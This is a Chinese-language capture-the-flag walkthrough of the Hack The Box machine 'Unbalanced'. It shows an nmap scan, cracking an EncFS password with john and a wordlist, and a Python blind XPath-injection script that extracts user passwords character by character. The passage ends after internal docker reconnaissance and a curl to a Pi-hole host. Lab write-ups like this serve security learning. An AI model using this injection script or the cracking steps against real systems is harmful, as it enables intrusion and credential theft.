Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 13:26 CST Nmap scan report for 10.10.10.200 Host is up (0.078s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA) | 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA) |_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519) 873/tcp open rsync (protocol version 31) 3128/tcp open http-proxy Squid http proxy 4.6 |_http-server-header: squid/4.6 |_http-title: ERROR: The requested URL could not be retrieved Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.66 seconds
sudo john --wordlist=/usr/share/wordlists/rockyou.txt encfs6.xml.john [sudo] password for miao: Using default input encoding: UTF-8 Loaded 1 password hash (EncFS [PBKDF2-SHA1 256/256 AVX2 8x AES]) Cost 1 (iteration count) is 580280 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bubblegum (files/) 1g 0:00:00:17 DONE (2020-08-19 10:53) 0.05707g/s 41.09p/s 41.09c/s 41.09C/s bambam..marissa Use the "--show" option to display all of the cracked passwords reliably Session completed
得到解密密码是bubblegum
解密文件
1 2 3 4 5 6
sudo apt-get install encfs
encfsctl export files decrypt EncFS Password: directory decrypt does not exist. The directory "decrypt" does not exist. Should it be created? (y,N) Y
for user in users: data = {"Username": '', "Password": "' or username= '" + user + "'or substring(Password,1,1)='p' or'"} request = requests.post(url, data=data, proxies={'http':proxy}) length = len(request.text) p4ss = '' for i in range(1,25): for l in letters: data = {"Username": '', "Password": "' or username= '" + "{}".format(user) + "'or substring(Password,{},1)='{}' or'".format(str(i),l)} request1 = requests.post(url, data=data, proxies={'http':proxy}) if"{}@unbalanced.htb".format(user) in request1.text and len(request1.text) != 6756: print("Got hit for User '{}' - Letter is '{}'".format(user, l)) p4ss += l print(str(i)) print(str(p4ss)) pass
bryan@unbalanced:~$ cat TODO ############ # Intranet # ############ * Install new intranet-host3 docker [DONE] * Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE] * Test intranet-host3 [DONE] * Add intranet-host3 to load balancer [DONE] * Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE] * Fix intranet-host2 [DONE] * Re-add intranet-host2 to load balancer (set default weight) [DONE] - Fix intranet-host1 [TODO] - Re-add intranet-host1 to load balancer (set default weight) [TODO]
########### # Pi-hole # ########### * Install Pi-hole docker (only listening on 127.0.0.1) [DONE] * Set temporary admin password [DONE] * Create Pi-hole configuration script [IN PROGRESS] - Run Pi-hole configuration script [TODO] - Expose Pi-hole ports to the network [TODO]
注意这一行,下一步的提示：
1
Create Pi-hole configuration script [IN PROGRESS]
使用 linpeas之类的可以得到一些docker的ip地址：
1 2 3 4 5 6
172.31.179.2 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:02 STALE 172.31.11.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:0b:03 STALE 172.31.179.1 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:01 STALE 172.31.179.3 dev br-742fc4eb92b1 lladdr 02:42:ac:1f:b3:03 STALE 10.10.10.2 dev ens160 lladdr 00:50:56:b9:f9:ab REACHABLE fe80::250:56ff:feb9:f9ab dev ens160 lladdr 00:50:56:b9:f9:ab router STALE
172.31.11.3是Pi-hole:
1 2 3 4 5 6
bryan@unbalanced:~$ curl 172.31.11.3
<html><head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/> <link rel='stylesheet' href='/pihole/blockingpage.css' type='text/css'/> </head><body id='splashpage'><img src='/admin/img/logo.svg'/><br/>Pi-<b>hole</b>: Your black hole for Internet advertisements<br><a href='/admin'>Did you mean to go to the admin panel?</a></body></html>
